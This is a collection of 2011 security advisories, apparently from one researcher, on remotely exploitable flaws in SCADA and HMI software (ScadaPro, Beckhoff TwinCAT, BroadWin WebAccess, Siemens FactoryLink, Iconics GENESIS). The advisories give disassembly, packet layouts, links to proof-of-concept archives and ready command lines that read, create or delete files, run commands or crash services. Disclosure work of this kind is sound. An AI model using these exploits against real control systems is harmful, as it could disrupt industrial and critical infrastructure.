Date: *13 Sep 2011*

From vendor's website:
"ScadaPro is Real Time Data Acquisition software for Microsoft Windows. Optimised to use the powerful real time, multi-tasking features of Windows, ScadaPro provides integrated data acquisition, monitoring, data logging, mimic development and report generation."

 # Vulnerabilities #

service.exe is a service listening on port 11234.

Initially I started to test this software as usual by checking all the operations performed by the various opcodes which are divided in a group identified by the second byte of the packet while the first one is the opcode for the final operation.
The function that handles the various groups and opcodes is available at offset 004061F0.

The problem is that there are so much security vulnerabilities and design problems in this service that makes non convenient to continue the tests so after the checking of the opcodes of the **'F'** group and a quick scan of the others I stopped any test to avoid to waste other time.
It means that there are for sure other vulnerabilities but the most importants *(stack overflows, code execution and files access)* have been covered in the **'F'** group and the main stack overflows of all the groups can be catched with the simple scanner I linked in the next section.

In short there are stack overflow vulnerabilities in almost all the supported commands and they are divided in sscanf and in-line strcpy functions like the following taken from the **"TF"** command:

```
0040A0D9   . 8D5424 38      LEA EDX,DWORD PTR SS:[ESP+38]
0040A0DD   . 52             PUSH EDX
0040A0DE   . 68 84D46700    PUSH service.0067D484     ; "%s"
0040A0E3   . 57             PUSH EDI
0040A0E4   . E8 12F20000    CALL service.004192FB     ; sscanf
...
0040A114   > 8D5424 20      LEA EDX,DWORD PTR SS:[ESP+20]
0040A118   . 8BC7           MOV EAX,EDI
0040A11A   . 2BD7           SUB EDX,EDI
0040A11C   . 8D6424 00      LEA ESP,DWORD PTR SS:[ESP]
0040A120   > 8A08           MOV CL,BYTE PTR DS:[EAX]
0040A122   . 880C02         MOV BYTE PTR DS:[EDX+EAX],CL
0040A125   . 83C0 01        ADD EAX,1
0040A128   . 84C9           TEST CL,CL
0040A12A   .^75 F4          JNZ SHORT service.0040A120
```

Obviously there are many Denial of Service bugs too.

Then there is full control over the files to read and write and the possibility to use directory traversal attacks like in the **"RF"** and **"wF"** *(the first char is lower because there is a check for avoiding its usage)*, example of the tab-separeted arguments:

```
RF%
  filename
  ReadFile.nNumberOfBytesToRead
```

```
    SetFilePointer.lDistanceToMove
    SetFilePointer.dwMoveMethod
    CreateFile.dwDesiredAccess
    CreateFile.dwShareMode
    ???
    CreateFile.dwCreationDisposition
    CreateFile.dwFlagsAndAttributes
    content if in write mode
```

It's also possible to delete files and whole folders *(included their files)* via the "UF" and "NF" commands.

Then it's possible to pass custom arguments to the backup commands like what happens with "BF", "OF" and "EF" while executing mszip because the arguments are not sanitized versus the injection of the '"' char.
The program supports also other backup programs like tar and compress.

And finally, through the "XF" command it's possible to execute an arbitrary function of a dll, for example the "system" one of msvcrt.dll for executing any desired custom command.

 # Exploit #

http://aluigi.org/testz/udpsz.zip

only a simple scanner:

```
  udpsz -d 2 -c "xx%"       -b a -X 0 16 l 0x6161 -T -l 0 SERVER 11234 0x2000
  udpsz -d 2 -c "xx%test\t" -b a -X 0 16 l 0x6161 -T -l 0 SERVER 11234 0x2000
  udpsz -d 2 -c "xx%test,"  -b a -X 0 16 l 0x6161 -T -l 0 SERVER 11234 0x2000
```

http://aluigi.org/poc/scadapro_1.zip

```
  nc SERVER 11234 < scadapro_1b.dat     ; read c:\boot.ini
  nc SERVER 11234 < scadapro_1c.dat     ; create c:\evil_file.txt
  nc SERVER 11234 < scadapro_1d.dat     ; delete c:\valid_file.txt
  nc SERVER 11234 < scadapro_1e.dat     ; execute notepad
```

Application: *Beckhoff TwinCAT*
http://www.beckhoff.de/twincat/
Versions: *<= 2.11.0.2004*
Platforms: *Windows*
Bug: *Denial of Service*
Exploitation: *remote*
Date: *13 Sep 2011*

From vendor's website:
"The Beckhoff TwinCAT software system turns almost any compatible PC into a real-time controller with a multi-PLC system, NC axis control, programming environment and operating station."

 # Vulnerabilities #

Denial of Service caused by an invalid read access.

 # Exploit #

http://aluigi.org/testz/udpsz.zip

```
  udpsz -C "03 66 14 71 00 00 00 00 06 00 00 00 0a ff ff 02 01 01 10 27" -b 0xff SERVER 4
8899 0x5fe
```

Application: *BroadWin WebAccess Client*
http://broadwin.com/Client.htm
Versions: *bwocxrun.ocx <= 1.0.0.10 (aka version 7.0)*
Platforms: *Windows*
Bugs: *A] format string*
B] arbitrary memory corruption
Exploitation: *remote*
Date: *02 Sep 2011*

From vendor's website:
"WebAccess is the first fully web browser-based software package for human-machine interfaces (HMI), and supervisory control and data acquisition (SCADA)."

The various operations are handled by the bwocxrun.ocx ActiveX component which is available *(but it's not updated)* also in Advantech WebAccess *(***http://webaccess.advantech.com***)*.

 # Vulnerabilities #

A] format string

The OcxSpool function is affected by a format string vulnerability caused by the usage of the Msg string provided by the attacker directly with vsprintf*()* without the required format argument.

B] arbitrary memory corruption

WriteTextData and CloseFile allow to corrupt arbitrary zones of the memory through a fully controllable stream identifier in fclose*()* and fwrite*()*.

 # Exploit #

http://aluigi.org/poc/bwocxrun_1.zip

Application: *Siemens Tecnomatix FactoryLink*
http://www.usdata.com/sea/FactoryLink/en/p_nav1.html
http://www.plm.automation.siemens.com/en_us/products/tecnomatix/production_management/factorylink/index.shtml
Versions: *<= 8.0.1.1473*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 02 Jan 2011)*

From vendor's website:
"Siemens FactoryLink monitors, supervises, and controls industrial processes by enabling customers to perfect their processes and products. Built on an advanced open architecture, FactoryLink delivers the highest performance and flexibility to customers building vertical applications in a wide range of industries.
Highly scaleable, FactoryLink can be used to build virtually any size application, from the simplest Human-Machine Interface (HMI) systems to the most complex and demanding Supervisory Control and Data Acquisition (SCADA) systems."

 # Vulnerabilities #

CSService is a Windows service listening on port 7580.

The logging function is vulnerable to a buffer-overflow caused by the usage of vsprintf with a stack buffer of 1024 bytes.
The vulnerability can be exploited from remote in various ways like the passing of a big path or filter string in the file related operations *(opcodes 6, 8 and 10)*.

 # Exploit #

http://aluigi.org/poc/factorylink_x.zip

```
factorylink_x 3 SERVER
```

Application: *Siemens Tecnomatix FactoryLink*
http://www.usdata.com/sea/FactoryLink/en/p_nav1.html
http://www.plm.automation.siemens.com/en_us/products/tecnomatix/production_management/factorylink/index.shtml
Versions: *<= 8.0.1.1473*
Platforms: *Windows*
Bug: *arbitrary files reading and listing*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 02 Jan 2011)*

From vendor's website:
"Siemens FactoryLink monitors, supervises, and controls industrial processes by enabling customers to perfect their processes and products. Built on an advanced open architecture, FactoryLink delivers the highest performance and flexibility to customers building vertical applications in a wide range of industries.
Highly scaleable, FactoryLink can be used to build virtually any size application, from the simplest Human-Machine Interface (HMI) systems to the most complex and demanding Supervisory Control and Data Acquisition (SCADA) systems."

 # Vulnerabilities #

CSService is a Windows service listening on port 7580.

All the file operations used by the service *(opcodes 6, 8 and 10)* allow to specify arbitrary files and directories *(absolute paths)* and it's possible for an attacker to download any remote file on the server. Obviously it's possible also to specify directory traversal paths.

 # Exploit #

http://aluigi.org/poc/factorylink_x.zip

```
for downloading c:\boot.ini
  factorylink_x 4 SERVER

for viewing the list of files in c:\
  factorylink_x 5 SERVER
```

Application: *Siemens Tecnomatix FactoryLink*
http://www.usdata.com/sea/FactoryLink/en/p_nav1.html
http://www.plm.automation.siemens.com/en_us/products/tecnomatix/production_management/factorylink/index.shtml
Versions: *<= 8.0.1.1473*
Platforms: *Windows*
Bug: *memory corruption*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 02 Jan 2011)*

From vendor's website:
"Siemens FactoryLink monitors, supervises, and controls industrial processes by enabling customers to perfect their processes and products. Built on an advanced open architecture, FactoryLink delivers the highest performance and flexibility to customers building vertical applications in a wide range of industries.
Highly scaleable, FactoryLink can be used to build virtually any size application, from the simplest Human-Machine Interface (HMI) systems to the most complex and demanding Supervisory Control and Data Acquisition (SCADA) systems."

 # Vulnerabilities #

vrn.exe is a server listening on port 7579 when a project is started.

There is a particular function used to parse the text fields located in the strings of the opcode 10.
It copies the string delimited by a ';' or a space in the stack buffer provided by the callee function causing a stack overflow that allows a certain control on the code flow *(for example the changing of the lower 8bit of the return address or another exception)*.

 # Exploit #

http://aluigi.org/poc/factorylink_3.zip

```
nc SERVER 7579 < factorylink_3.dat
```

Application: *Siemens Tecnomatix FactoryLink*
http://www.usdata.com/sea/FactoryLink/en/p_nav1.html
http://www.plm.automation.siemens.com/en_us/products/tecnomatix/production_management/factorylink/index.shtml
Versions: *<= 8.0.1.1473*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 02 Jan 2011)*

From vendor's website:
"Siemens FactoryLink monitors, supervises, and controls industrial processes by enabling customers to perfect their processes and products. Built on an advanced open architecture, FactoryLink delivers the highest performance and flexibility to customers building vertical applications in a wide range of industries.
Highly scaleable, FactoryLink can be used to build virtually any size application, from the simplest Human-Machine Interface (HMI) systems to the most complex and demanding Supervisory Control and Data Acquisition (SCADA) systems."

 # Vulnerabilities #

vrn.exe is a server listening on port 7579 when a project is started.

There is a particular function used to parse the text fields located in the strings of the opcode 9.
It copies the string delimited by a ';' or a space in the stack buffer provided by the callee function causing a classical stack overflow.

 # Exploit #

http://aluigi.org/poc/factorylink_4.zip

```
nc SERVER 7579 < factorylink_4.dat
```

Application: *Siemens Tecnomatix FactoryLink*
http://www.usdata.com/sea/FactoryLink/en/p_nav1.html
http://www.plm.automation.siemens.com/en_us/products/tecnomatix/production_management/factorylink/index.shtml
Versions: *<= 8.0.1.1473*
Platforms: *Windows*
Bug: *arbitrary files downloading*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 02 Jan 2011)*

From vendor's website:
"Siemens FactoryLink monitors, supervises, and controls industrial processes by enabling customers to perfect their processes and products. Built on an advanced open architecture, FactoryLink delivers the highest performance and flexibility to customers building vertical applications in a wide range of industries.
Highly scaleable, FactoryLink can be used to build virtually any size application, from the simplest Human-Machine Interface (HMI) systems to the most complex and demanding Supervisory Control and Data Acquisition (SCADA) systems."

 # Vulnerabilities #

vrn.exe is a server listening on port 7579 when a project is started.

The opcode 8 can be used to download any arbitrary file on the system
by specifiying the full path *(UNC too)* or directory traversal.

 # Exploit #

http://aluigi.org/poc/factorylink_5.zip

```
download c:\boot.ini
  nc SERVER 7579 < factorylink_5.dat
```

Application: *Siemens Tecnomatix FactoryLink*
http://www.usdata.com/sea/FactoryLink/en/p_nav1.html
http://www.plm.automation.siemens.com/en_us/products/tecnomatix/production_management/factorylink/index.shtml
Versions: *<= 8.0.1.1473*
Platforms: *Windows*
Bugs: *Denial of Service vulnerabilities*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 02 Jan 2011)*

From vendor's website:
"Siemens FactoryLink monitors, supervises, and controls industrial processes by enabling customers to perfect their processes and products. Built on an advanced open architecture, FactoryLink delivers the highest performance and flexibility to customers building vertical applications in a wide range of industries.
Highly scaleable, FactoryLink can be used to build virtually any size application, from the simplest Human-Machine Interface (HMI) systems to the most complex and demanding Supervisory Control and Data Acquisition (SCADA) systems."

 # Vulnerabilities #

CSService, connsrv and datasrv are various Windows services.

All these services are vulnerable to some Denial of Service vulnerabilities that allow to crash them due to NULL pointer dereferences, stack exaustions and raised exceptions.

 # Exploit #

http://aluigi.org/poc/factorylink_x.zip

```
factorylink_x 1 SERVER
factorylink_x 2 SERVER
factorylink_x 6 SERVER
factorylink_x 7 SERVER
```

Application: *Iconics GENESIS32 and GENESIS64*
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS64.aspx
Versions: *GENESIS32 <= 9.21*
GENESIS64 <= 10.51
GenBroker.exe and GenBroker64.exe are the same version on both the softwares: 9.21.201.01
Platforms: *Windows*
Bug: *freeing of arbitrary or unitialized memory*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 08 Jan 2011)*

Iconics Genesis is a SCADA HMI solution used worldwide with customers that go from Beijing Traffic Control Center to the Pentagon and even Poste Italiane (**"Case Studies"** source).

Informations from the vendor's website:
"GENESIS32\231 is the industry\222s first and only fully scalable suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications."

 # Vulnerabilities #

GenBroker is a Windows service running on port 38080.

The addresses and code snippets reported here refer to GENESIS32 9.2.

The service is affected by multiple freeing of initialized memory pointers and arbitrary locations because:
- the functions that store the strings pointers read from the client automatically break the reading loop when the end of the packet is reached
- these functions use malloc instead of calloc, so memory isn't cleared
- the functions that free the arrays don't know if and when the reading process stopped and so they call free() over all the elements specified by the attacker in his packet

The exploitability of these vulnerabilities depends by how the attacker has corrupted the memory for forcing the freeing of arbitrary locations through the sending of valid packets before the malformed one.
The service is multi-thread so there are many chances of exploitation.

The following is the full list of vulnerable opcodes and the read/free functions to monitor *(referred to version 9.2)*:

1) opcode *0x4b0*:
    read loop: 0044ACC0 and 0044AD04
    free loop: 004446B0

2) opcode *0x4b2*:
    read loop: 0044B360
    free loop: 004428F0

3) opcode *0x4b5*:
    read loop: 0044C560
    free loop: 00443090

4) function 0044C6B0 used by opcodes *0xDAE* and *0xDB0*.
    read loop: 0044c800
    free loop: 00443160

5) opcodes *0x1BBC* and *0x1BBD*:
    read loop: 0044ca90
    free loop: 004432a0

 # Exploit #

http://aluigi.org/poc/genesis_1.zip

Application: *Iconics GENESIS32 and GENESIS64*
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS64.aspx
Versions: *GENESIS32 <= 9.21*
GENESIS64 <= 10.51
GenBroker.exe and GenBroker64.exe are the same version on both the softwares: 9.21.201.01
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 08 Jan 2011)*

Iconics Genesis is a SCADA HMI solution used worldwide with customers that go from Beijing Traffic Control Center to the Pentagon and even Poste Italiane *(*"Case Studies" source).

Informations from the vendor's website:
"GENESIS32\231 is the industry\222s first and only fully scalable suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications."

 # Vulnerabilities #

GenBroker is a Windows service running on port 38080.

The addresses and code snippets reported here are referred to GENESIS32 9.2.

The service is affected by an integer overflow vulnerability during the handling of the opcode *0xfa7* caused by the allocation of the memory needed for the creation of an array trusting the number of elements passed by the client.

The resulting memory corruptions *(like direct registry calls, memory locations calls, writing of data in arbitrary locations and so on)* allow code execution.

Fields in the packet:
```
    32      malloc(x * 4)
```

Vulnerable code:
```
  00444B0D  |.  E8 5E26FDFF   CALL 00417170                ; get 32bit
  00444B12  |.  8B07          MOV EAX,DWORD PTR DS:[EDI]
  00444B14  |.  85C0          TEST EAX,EAX
  00444B16  |.^ 76 C1         JBE SHORT 00444AD9
  00444B18  |.  8D1485 000000>LEA EDX,DWORD PTR DS:[EAX*4]  ; * 4
  00444B1F  |.  52            PUSH EDX
  00444B20  |.  E8 93260600   CALL <JMP.&MFC71U.#265>       ; malloc
```

 # Exploit #

http://aluigi.org/poc/genesis_iof.zip

```
  genesis_iof 9 SERVER
```

Application: *Iconics GENESIS32 and GENESIS64*
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS64.aspx
Versions: *GENESIS32 <= 9.21*
GENESIS64 <= 10.51
GenBroker.exe and GenBroker64.exe are the same version on both the softwares: 9.21.201.01
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 08 Jan 2011)*

Iconics Genesis is a SCADA HMI solution used worldwide with customers that go from Beijing Traffic Control Center to the Pentagon and even Poste Italiane (**"Case Studies"** source).

Informations from the vendor's website:
"GENESIS32\231 is the industry\222s first and only fully scalable suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications."

 # Vulnerabilities #

GenBroker is a Windows service running on port 38080.

The addresses and code snippets reported here are referred to GENESIS32 9.2.

The service is affected by an integer overflow vulnerability during the handling of the opcodes *0x1BBC* and *0x1BBD* caused by the allocation of the memory needed for the creation of an array trusting the number of elements passed by the client.

The resulting memory corruptions *(like direct registry calls, memory locations calls, writing of data in arbitrary locations and so on)* allow code execution.

Fields in the packet:

```
    string
    string
    32
    string
    string
    string
    32      malloc(x * 4)
```

Vulnerable code:

```
  0044CA69  |.  E8 02A7FCFF   CALL 00417170                 ; get 32bit
  0044CA6E  |.  8B03          MOV EAX,DWORD PTR DS:[EBX]
  0044CA70  |.  85C0          TEST EAX,EAX
  0044CA72  |.  76 6C         JBE SHORT 0044CAE0
  0044CA74  |.  C1E0 02       SHL EAX,2                     ; * 4
  0044CA77  |.  50            PUSH EAX
  0044CA78  |.  E8 3BA70500   CALL <JMP.&MFC71U.#265>       ; malloc
```

 # Exploit #

http://aluigi.org/poc/genesis_iof.zip

```
  genesis_iof 10 SERVER
```

Application: *Iconics GENESIS32 and GENESIS64*
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS64.aspx
Versions: *GENESIS32 <= 9.21*
GENESIS64 <= 10.51
GenBroker.exe and GenBroker64.exe are the same version on both the softwares: 9.21.201.01
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 08 Jan 2011)*

Iconics Genesis is a SCADA HMI solution used worldwide with customers that go from Beijing Traffic Control Center to the Pentagon and even Poste Italiane (**"Case Studies"** source).

Informations from the vendor's website:
"GENESIS32\231 is the industry\222s first and only fully scalable suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications."

 # Vulnerabilities #

GenBroker is a Windows service running on port 38080.

The addresses and code snippets reported here are referred to GENESIS32 9.2.

The service is affected an integer overflow vulnerability during the handling of the opcode *0x1C84* caused by the allocation of the memory needed for the creation of an array trusting the number of elements passed by the client.

The resulting memory corruptions *(like direct registry calls, memory locations calls, writing of data in arbitrary locations and so on)* allow code execution.

Fields in the packet:

```
    string
    string
    32
    32      malloc(x * 16)
```

Vulnerable code:

```
  0044CBE2  |.  E8 89A5FCFF   CALL 00417170                ; get 32bit
  0044CBE7  |.  8B03          MOV EAX,DWORD PTR DS:[EBX]
  0044CBE9  |.  3BC5          CMP EAX,EBP
  0044CBEB  |.  76 3C         JBE SHORT 0044CC29
  0044CBED  |.  C1E0 04       SHL EAX,4                     ; * 16
  0044CBF0  |.  50            PUSH EAX
  0044CBF1  |.  E8 C2A50500   CALL <JMP.&MFC71U.#265>       ; malloc
```

 # Exploit #

http://aluigi.org/poc/genesis_iof.zip

```
  genesis_iof 11 SERVER
```

Application: *Iconics GENESIS32 and GENESIS64*
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS64.aspx
Versions: *GENESIS32 <= 9.21*
GENESIS64 <= 10.51
GenBroker.exe and GenBroker64.exe are the same version on both the softwares: 9.21.201.01
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 08 Jan 2011)*

Iconics Genesis is a SCADA HMI solution used worldwide with customers that go from Beijing Traffic Control Center to the Pentagon and even Poste Italiane (**"Case Studies"** source).

Informations from the vendor's website:
"GENESIS32\231 is the industry\222s first and only fully scalable suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications."

 # Vulnerabilities #

GenBroker is a Windows service running on port 38080.

The addresses and code snippets reported here are referred to GENESIS32 9.2.

The service is affected by an integer overflow vulnerability during the handling of the opcode *0x26ac* caused by the allocation of the memory needed for the creation of an array trusting the number of elements passed by the client.

The resulting memory corruptions *(like direct registry calls, memory locations calls, writing of data in arbitrary locations and so on)* allow code execution.

Fields in the packet:
```
    32      malloc(x * 4)
```

Vulnerable code:
```
  00445AC7  |.  E8 A416FDFF   CALL 00417170                ; get 32bit
  00445ACC  |.  8B03          MOV EAX,DWORD PTR DS:[EBX]
  00445ACE  |.  85C0          TEST EAX,EAX
  00445AD0  |.^ 76 BE         JBE SHORT 00445A90
  00445AD2  |.  8D1485 000000>LEA EDX,DWORD PTR DS:[EAX*4]  ; * 4
  00445AD9  |.  52            PUSH EDX
  00445ADA  |.  E8 D9160600   CALL <JMP.&MFC71U.#265>       ; malloc
```

 # Exploit #

http://aluigi.org/poc/genesis_iof.zip

```
  genesis_iof 12 SERVER
```

Application: *Iconics GENESIS32 and GENESIS64*
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS64.aspx
Versions: *GENESIS32 <= 9.21*
GENESIS64 <= 10.51
GenBroker.exe and GenBroker64.exe are the same version on both the softwares: 9.21.201.01
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 08 Jan 2011)*

Iconics Genesis is a SCADA HMI solution used worldwide with customers that go from Beijing Traffic Control Center to the Pentagon and even Poste Italiane (**"Case Studies"** source).

Informations from the vendor's website:
"GENESIS32\231 is the industry\222s first and only fully scalable suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications."

 # Vulnerabilities #

GenBroker is a Windows service running on port 38080.

The addresses and code snippets reported here are referred to GENESIS32 9.2.

The service is affected by an integer overflow vulnerability during the handling of the opcodes 3f0, 138F,1390,1391,1392,1393, 1394, 1C86, 89a,89b, 450,451,454,455, 1C20,1C24 that make use of the function 0044d1c0.

The problem is caused by the allocation of the memory needed for the creation of an array trusting the number of elements passed by the client.

The resulting memory corruptions *(like direct registry calls, memory locations calls, writing of data in arbitrary locations and so on)* allow code execution.

Fields in the packet:
the format of the packets depend by the relative opcodes, the function 0044d1c0 reads a 32bit before the one used for the allocation.

Vulnerable code:

```
0044D2A2  |.  E8 C99EFCFF   CALL 00417170                 ; get 32bit
0044D2A7  |.  8D4424 1C     LEA EAX,DWORD PTR SS:[ESP+1C]
0044D2AB  |.  50            PUSH EAX
0044D2AC  |.  8BCE          MOV ECX,ESI
0044D2AE  |.  E8 BD9EFCFF   CALL 00417170
0044D2B3  |.  8B4C24 10     MOV ECX,DWORD PTR SS:[ESP+10]
0044D2B7  |.  8D14CD 000000>LEA EDX,DWORD PTR DS:[ECX*8]  ; * 8
0044D2BE  |.  52            PUSH EDX
0044D2BF  |.  E8 F49E0500   CALL <JMP.&MFC71U.#265>       ; malloc
```

 # Exploit #

http://aluigi.org/poc/genesis_iof.zip

```
genesis_iof 1 SERVER
```

Application: *Iconics GENESIS32 and GENESIS64*
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS64.aspx
Versions: *GENESIS32 <= 9.21*
GENESIS64 <= 10.51
GenBroker.exe and GenBroker64.exe are the same version on both the softwares: 9.21.201.01
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 08 Jan 2011)*

Iconics Genesis is a SCADA HMI solution used worldwide with customers that go from Beijing Traffic Control Center to the Pentagon and even Poste Italiane (**"Case Studies"** source).

Informations from the vendor's website:
"GENESIS32\231 is the industry\222s first and only fully scalable suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications."

 # Vulnerabilities #

GenBroker is a Windows service running on port 38080.

The addresses and code snippets reported here are referred to GENESIS32 9.2.

The service is affected by an integer overflow vulnerability during the handling of the opcode *0x453* caused by the allocation of the memory needed for the creation of an array trusting the number of elements passed by the client.

The resulting memory corruptions *(like direct registry calls, memory locations calls, writing of data in arbitrary locations and so on)* allow code execution.

Fields in the packet:

```
    string
    string
    string
    string
    32
    32
    32
    16
    32
    32
    32      malloc(x * 4)
```

Vulnerable code:

```
  0044BEB5  |.  E8 B6B2FCFF   CALL 00417170                          ; get 32bit
  0044BEBA  |.  8B03          MOV EAX,DWORD PTR DS:[EBX]
  0044BEBC  |.  3BC5          CMP EAX,EBP
  0044BEBE  |.  76 56         JBE SHORT 0044BF16
  0044BEC0  |.  C1E0 02       SHL EAX,2                               ; * 4
  0044BEC3  |.  50            PUSH EAX
  0044BEC4  |.  FF15 98FA8400 CALL DWORD PTR DS:[<&MSVCR71.malloc>] ; malloc
```

 # Exploit #

http://aluigi.org/poc/genesis_iof.zip

```
  genesis_iof 2 SERVER
```

Application: *Iconics GENESIS32 and GENESIS64*
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS64.aspx
Versions: *GENESIS32 <= 9.21*
GENESIS64 <= 10.51
GenBroker.exe and GenBroker64.exe are the same version on both the softwares: 9.21.201.01
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 08 Jan 2011)*

Iconics Genesis is a SCADA HMI solution used worldwide with customers that go from Beijing Traffic Control Center to the Pentagon and even Poste Italiane (**"Case Studies"** source).

Informations from the vendor's website:
"GENESIS32\231 is the industry\222s first and only fully scalable suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications."

 # Vulnerabilities #

GenBroker is a Windows service running on port 38080.
The addresses and code snippets reported are referred to GENESIS32 9.2.

The service is affected by three integer overflow vulnerabilities during the handling of the opcode *0x4b0* caused by the allocation of the memory needed for the creation of some arrays trusting the numbers of elements passed by the client.

The resulting memory corruptions *(like direct registry calls, memory locations calls, writing of data in arbitrary locations and so on)* allow code execution.

Fields in the packet:

```
    string
    string
    32, 32, 32, 32, 32, 32, 32, 32
    32      malloc(x * 4)
    ...
    32      malloc(x * 4)
    ...
    32      malloc(x * 4)
```

Vulnerable code:

```
  0044AC26  |.  E8 45C5FCFF   CALL 00417170             ; get 32bit
  0044AC2B  |.  8B45 00       MOV EAX,DWORD PTR SS:[EBP]
  0044AC2E  |.  C1E0 02       SHL EAX,2                 ; * 4
  0044AC31  |.  50            PUSH EAX
  0044AC32  |.  E8 81C50500   CALL <JMP.&MFC71U.#265>   ; malloc
  ...
  0044AC95  |.  8B47 28       MOV EAX,DWORD PTR DS:[EDI+28]
  0044AC98  |.  C1E0 02       SHL EAX,2                 ; * 4
  0044AC9B  |.  50            PUSH EAX
  0044AC9C  |.  C74424 20 020>MOV DWORD PTR SS:[ESP+20],2
  0044ACA4  |.  E8 0FC50500   CALL <JMP.&MFC71U.#265>   ; malloc
  ...
  0044ACE9  |>  8B47 30       MOV EAX,DWORD PTR DS:[EDI+30]
  0044ACEC  |.  C1E0 02       SHL EAX,2                 ; * 4
  0044ACEF  |.  50            PUSH EAX
  0044ACF0  |.  E8 C3C40500   CALL <JMP.&MFC71U.#265>   ; malloc
```

 # Exploit #

http://aluigi.org/poc/genesis_iof.zip

```
  genesis_iof 3 SERVER
```

Application: *Iconics GENESIS32 and GENESIS64*
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS64.aspx
Versions: *GENESIS32 <= 9.21*
GENESIS64 <= 10.51
GenBroker.exe and GenBroker64.exe are the same version on both the softwares: 9.21.201.01
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 08 Jan 2011)*

Iconics Genesis is a SCADA HMI solution used worldwide with customers that go from Beijing Traffic Control Center to the Pentagon and even Poste Italiane (**"Case Studies"** source).

Informations from the vendor's website:
"GENESIS32\231 is the industry\222s first and only fully scalable suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications."

 # Vulnerabilities #

GenBroker is a Windows service running on port 38080.

The addresses and code snippets reported here are referred to GENESIS32 9.2.

The service is affected by an integer overflow vulnerability during the handling of the opcode *0x4b2* caused by the allocation of the memory needed for the creation of some arrays trusting the number of elements passed by the client.

The resulting memory corruptions *(like direct registry calls, memory locations calls, writing of data in arbitrary locations and so on)* allow code execution.

Fields in the packet:
```
    32      malloc(x * 4)
```

Vulnerable code:
```
  0044B2E9  |.  8B17          MOV EDX,DWORD PTR DS:[EDI]    ; get 32bit
  0044B2EB  |.  C1E2 02       SHL EDX,2                     ; * 4
  0044B2EE  |.  52            PUSH EDX
  0044B2EF  |.  8947 08       MOV DWORD PTR DS:[EDI+8],EAX
  0044B2F2  |.  E8 C1BE0500   CALL <JMP.&MFC71U.#265>       ; malloc
  0044B2F7  |.  8947 0C       MOV DWORD PTR DS:[EDI+C],EAX
  0044B2FA  |.  8B07          MOV EAX,DWORD PTR DS:[EDI]
  0044B2FC  |.  C1E0 02       SHL EAX,2                     ; * 4
  0044B2FF  |.  50            PUSH EAX
  0044B300  |.  E8 B3BE0500   CALL <JMP.&MFC71U.#265>       ; malloc
  0044B305  |.  8B0F          MOV ECX,DWORD PTR DS:[EDI]
  0044B307  |.  C1E1 03       SHL ECX,3                     ; * 8
  0044B30A  |.  51            PUSH ECX
  0044B30B  |.  8947 10       MOV DWORD PTR DS:[EDI+10],EAX
  0044B30E  |.  E8 A5BE0500   CALL <JMP.&MFC71U.#265>       ; malloc
  0044B313  |.  8B17          MOV EDX,DWORD PTR DS:[EDI]
  0044B315  |.  C1E2 02       SHL EDX,2                     ; * 4
  0044B318  |.  52            PUSH EDX
  0044B319  |.  8947 14       MOV DWORD PTR DS:[EDI+14],EAX
  0044B31C  |.  E8 97BE0500   CALL <JMP.&MFC71U.#265>       ; malloc
```

 # Exploit #

http://aluigi.org/poc/genesis_iof.zip

```
  genesis_iof 4 SERVER
```

Application: *Iconics GENESIS32 and GENESIS64*
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS64.aspx
Versions: *GENESIS32 <= 9.21*
GENESIS64 <= 10.51
GenBroker.exe and GenBroker64.exe are the same version on both the softwares: 9.21.201.01
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 08 Jan 2011)*

